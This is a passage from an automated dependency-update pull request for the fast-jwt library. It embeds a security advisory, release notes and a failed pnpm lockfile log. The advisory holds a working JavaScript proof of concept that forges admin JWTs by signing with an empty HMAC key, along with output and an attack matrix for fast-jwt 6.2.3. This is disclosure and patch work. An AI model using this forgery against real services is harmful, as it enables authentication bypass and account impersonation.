      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on fast-jwt@6.2.3:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }

— the attacker-chosen payload is returned as authentic.

Attack matrix verified against fast-jwt@6.2.3:

Resolver shape algorithms option HS256 HS384 HS512
async () => '' (default) ✅ accept ✅ accept ✅ accept
(d, cb) => cb(null, '') (default) ✅ accept ✅ accept ✅ accept
async d => keys[d.header.kid] || '' (default) ✅ accept ✅ accept ✅ accept
async () => '' ['HS256','HS384','HS512'] ✅ accept ✅ accept ✅ accept
async () => '' ['HS256','RS256'] ✅ accept INVALID_ALG INVALID_ALG
async () => '' ['RS256'] INVALID_KEY INVALID_KEY INVALID_KEY

The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):

  • A token signed with the real secret continues to verify correctly. → ACCEPTED.
  • A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
  • The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.
Impact

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

  1. Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
  2. Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
  3. Default-config exploitable — the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
  4. Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.

Suggested fix

Reject zero-length HMAC secrets in prepareKeyOrSecret:

 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }
+
+  if (isSecret && (!key || key.length === 0)) {
+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+  }
+
   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.

For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nearform/fast-jwt (fast-jwt)

v6.2.4

Compare Source

What's Changed

Full Changelog: nearform/fast-jwt@v6.2.3...v6.2.4

v6.2.3

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v6.2.2...v6.2.3

v6.2.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v6.2.1...v6.2.2

v6.2.1

Compare Source

What's Changed

Full Changelog: nearform/fast-jwt@v6.2.0...v6.2.1

v6.2.0

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v6.1.0...v6.2.0

v6.1.0

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v6.0.2...v6.1.0

v6.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/fast-jwt@v6.0.1...v6.0.2

v6.0.1

Compare Source

What's Changed

Full Changelog: nearform/fast-jwt@v6.0.0...v6.0.1

v6.0.0

Compare Source

BREAKING CHANGES

This is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in v5.0.6, which only fixed the vulnerability without introducing breaking changes.

This release takes it one step further by adhering more closely to the JWT specification.

More specifically, verification now expects all claims except for the aud claim to be single values, instead of supporting arrays of values.

This is a breaking change because JWTs containing claims in array format (with the exception of aud), now cause verification errors, while they were previously allowed.

What's Changed

New Contributors

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented May 8, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
Scope: all 3 workspace projects
 WARN  GET https://registry.npmjs.org/fast-jwt error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/snazzy/-/snazzy-9.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/standard/-/standard-17.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/auth0/-/auth0-3.7.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/commist/-/commist-3.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/console-table-printer/-/console-table-printer-2.11.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/desm/-/desm-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/es-main/-/es-main-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-4.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/get-jwks/-/get-jwks-8.3.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/semver/-/semver-7.5.4.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/undici/-/undici-6.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/fast-jwt error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/snazzy/-/snazzy-9.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/standard/-/standard-17.1.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/auth0/-/auth0-3.7.2.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/commist/-/commist-3.2.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/console-table-printer/-/console-table-printer-2.11.2.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/desm/-/desm-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/es-main/-/es-main-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-4.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/get-jwks/-/get-jwks-8.3.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/semver/-/semver-7.5.4.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/undici/-/undici-6.0.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/@testing-library/react-hooks/-/react-hooks-8.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 ERR_INVALID_THIS  Value of "this" must be of type URLSearchParams

pnpm [ERR_INVALID_THIS]: Value of "this" must be of type URLSearchParams
    at Proxy.getAll (node:internal/url:554:13)
    at Proxy.<anonymous> (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60554:55)
    at /opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60616:31
    at Array.reduce (<anonymous>)
    at Proxy.raw (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60615:33)
    at new Headers (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60500:28)
    at getNodeRequestOptions (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60849:23)
    at /opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60906:25
    at new Promise (<anonymous>)
    at fetch (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60904:14)
 WARN  GET https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.2.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/jsdom/-/jsdom-23.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/vite/-/vite-5.0.10.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/vitest/-/vitest-1.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@auth0/auth0-react/-/auth0-react-2.2.4.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-1.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/react/-/react-18.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@testing-library/react/-/react-14.1.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants